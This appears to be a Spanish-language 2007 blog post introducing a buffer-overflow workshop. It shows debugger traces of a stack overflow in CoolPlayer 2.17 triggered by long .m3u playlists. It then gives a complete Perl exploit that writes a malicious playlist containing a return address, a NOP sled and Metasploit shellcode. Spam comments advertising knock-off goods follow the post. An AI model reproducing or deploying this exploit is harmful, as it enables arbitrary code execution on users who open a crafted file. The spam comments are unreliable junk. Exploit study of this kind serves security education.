miércoles, 24 de octubre de 2007

CoolPlayer 2.17 Stack Overflow

Hago aqui una puqueña introduccion de lo que se hara en el taller de buffer overflow, empezando con los stack, aqui tenemos un software que es explotable. Cuando me puse a buscar fallos en software me encontre con el TotalPlayer 3.0 (una copia de coolplayer con malware) y me entere gracias a una persona en securityfocus, y el totalplayer mostraba seguridad por lo que me puse con el original, el coolplayer 2.17.
El fallo en sí, se encontraba al abrir archivos .m3u con demasiados bytes en su interior (IMG:style_emoticons/default/tongue.gif)

Comencemos:

Despues de ver eso, es hora de irnos a investigar, abrimos el OllySnd por ejemplo:

Yo lo hice de este modo para ver el lugar exacto donde se producia, mire en strings y vi por ahi cosas como playlist y demas, asi que me fui a

0040CAA3 |. 68 C4DA4400 |push coolplay.0044DAC4 ; ASCII "playlist"

y bajando un poco nos encontramos con una funcion muy sospechosa:

0040CBA8 |. FF15 08514300 call ds:[<&KERNEL32.ReadFile>] ; \ReadFile

Ponemos un BP y al abrir el archivo se para ahi, seguimos traceando un poco con f8 y cuando caemos aqui:

0040CC07 |. E8 D4FCFFFF |call coolplay.0040C8E0


El archivo da el problema, asi que lo reiniciamos y lo miramos con f7

de nuevo viendo poco a poco vemos que hay 2 funciones iguales, y como la que tiene que ver con el error es la segunda le ponemos un bp ahi(esto lo he visto traceando poco a poco), es facil, si no sale no preocuparse jeje:

0040C98A |. FF15 20514300 call ds:[<&KERNEL32.lstrcpyA>] ; \lstrcpyA

En ese momento creo que la pila estaba asi:

0013271C 7C809BA8 kernel32.7C809BA8
00132720 FFFFFFFF
00132724 0040CC0C RETURN to coolplay.0040CC0C from coolplay.0040C8E0 -- importante
00132728 003D41D0


y seguimos bajando y caemos en:

0040C9B0 |. 81C4 04010000 add esp,104 -- la pila esta antes de llegar al ret address

---
00132620 505C3A46 -esp
00132624 5C6C7265 --ret address
---

Al tracear una vez mas, el ret adress sta sobreescrito, y esp apunta a la linea de abajo del ret address, por lo que sera mas facil hacer el exploit funcional:


00132620 41414141
00132624 41414141 - ret address sobreescrita(aqui un salto a esp(jmp esp))
00132628 41414141 -esp


Asi que teniendo esto despues de tracearlo con el olly, vamos a crear el exploit:

Para ello utilizare perl, y una shellcode de metasploit (IMG:style_emoticons/default/tongue.gif)

Esto iba a ir a milw0rm, pero de momento no,porque parece ser que no funciona del todo bien en alguna que otra maquina xD

Exploit modificado:


#!/usr/bin/perl
################################################################################
#####################################
#
#CoolPlayer, Latest Build: 217
#Web:: http://coolplayer.sourceforge.net/
#Playlist(.m3u) File Local Buffer Overflow Exploit
#
#Vuln:http://www.securityfocus.com/bid/21396
#
#Instrucciones:coolplayerm3u.pl debe de estar en el mismo directorio que el perl.exe
#
#Agradecimientos a: Luigi Auriemma que ha descubierto una nueva vulnerabilidad en este software junto
# a esta vuln que era antigua y que ha sido redescubierta en un software con adware por mi jeje
# TotalPlayer 3.0(fake de Coolplayer), thanks luigi xDD
# Además del equipo de www.p1mp4m.es -->musashi,patoruzu,elvispresley,pepepistola,skyline2412
#
# Y en especial a este ultimo:skyline2412(puso parte del codigo y me ayudo bastante con la tarea) y
# el_manguan que estuvo ayudando tambien y probando.
#
#Exploit por: Trancek
#Email:trancek@yashira.org
#
################################################################################
######################################
use Cwd;

print "CoolPlayer 2.17 .m3u Exploit\n\n";


$dir = getcwd()."/";
$lon = length($dir);
$nanai = 260 - $lon;
$junk = 'A' x $nanai;
$ret = "\xED\x1E\x95\x7C"; #jmp esp,win xp sp2(spanish)



# win32_exec - EXITFUNC=thread CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode =
"\x33\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x66".
"\x3f\x59\x90\x83\xeb\xfc\xe2\xf4\x9a\xd7\x1d\x90\x66\x3f\xd2\xd5".
"\x5a\xb4\x25\x95\x1e\x3e\xb6\x1b\x29\x27\xd2\xcf\x46\x3e\xb2\xd9".
"\xed\x0b\xd2\x91\x88\x0e\x99\x09\xca\xbb\x99\xe4\x61\xfe\x93\x9d".
"\x67\xfd\xb2\x64\x5d\x6b\x7d\x94\x13\xda\xd2\xcf\x42\x3e\xb2\xf6".
"\xed\x33\x12\x1b\x39\x23\x58\x7b\xed\x23\xd2\x91\x8d\xb6\x05\xb4".
"\x62\xfc\x68\x50\x02\xb4\x19\xa0\xe3\xff\x21\x9c\xed\x7f\x55\x1b".
"\x16\x23\xf4\x1b\x0e\x37\xb2\x99\xed\xbf\xe9\x90\x66\x3f\xd2\xf8".
"\x5a\x60\x68\x66\x06\x69\xd0\x68\xe5\xff\x22\xc0\x0e\xd0\x97\x70".
"\x06\x57\xc1\x6e\xec\x31\x0e\x6f\x81\x5c\x38\xfc\x05\x11\x3c\xe8".
"\x03\x3f\x59\x90";

$nopeando = "\x90" x 20;


open(m3u, ">./vuln.m3u");
print m3u "$junk";
print m3u "$ret";
print m3u "$nopeando";
print m3u "$shellcode";

print "Instrucciones: coolplayerm3u.pl debe de estar en el mismo directorio que el \n";
print "perl.exe o al llamarlo debes de tener el directorio de perl en las variables de entorno \n\n";

print "Directorio: ",$dir,"\n";
print "Longitud del directorio: ",$lon,"\n";
print "Numero de Junk(A) Total: ",$nanai,"\n\n";

print "Cuidado: Cambiar el archivo de directorio, provoca que no funcione el exploit\n";
print "Depende del directorio actual del archivo .m3u y da problemas en el directorio\n";
print "raiz C:\, F:\, etc...(Son 3 'A' mas)\n\n";

print "Archivo creado\n";

7 comentarios:

dada xu dijo...

coach outlet online
air max 90
fitflop shoes
eahawks jerseys
yeezy 350 boost
michael kors outlet online
coach factory outlet online
michael kors uk
mlb jerseys
marc jacobs outlet
chenshanshan20170310

龙大猫 dijo...

adidas stan smith sneakers
michael kors handbags
nike air force 1
roshe shoes
timberland boots
yeezy boost 350
adidas tubular
kobe 11
true religion
michael kors outlet

Unknown dijo...

denver broncos jerseys
lions jerseys
moncler outlet
coach outlet online
ralph lauren
coach factory outlet
ray ban sunglasses
san francisco 49ers jerseys
michael kors uk
nike store uk

shengda xu dijo...

gucci outlet online
true religion jeans
louboutin shoes
longchamp pliage
cubs jerseys
coach factory outlet online
louis vuitton outlet online
adidas superstars
red sox jerseys
birkenstock shoes
xushengda0518

aaa kitty20101122 dijo...

nike roshe run
cheap basketball shoes
nike air max 2017
yeezy boost
michael kors outlet
kyrie irving shoes
nike huarache
curry 3 shoes
michael kors handbags
adidas nmd

Yaro Gabriel dijo...

www1012


christian louboutin outlet
mbt shoes
canada goose outlet
coach factory outlet
asics shoes
coach outlet online
off white jordan
kate spade outlet
stussy
adidas superstar


yanmaneee dijo...

christian louboutin outlet
nike basketball shoes
michael kors outlet
nike shoes
birkin bag
louboutin shoes
fila
air jordan
nike 270
nike jordans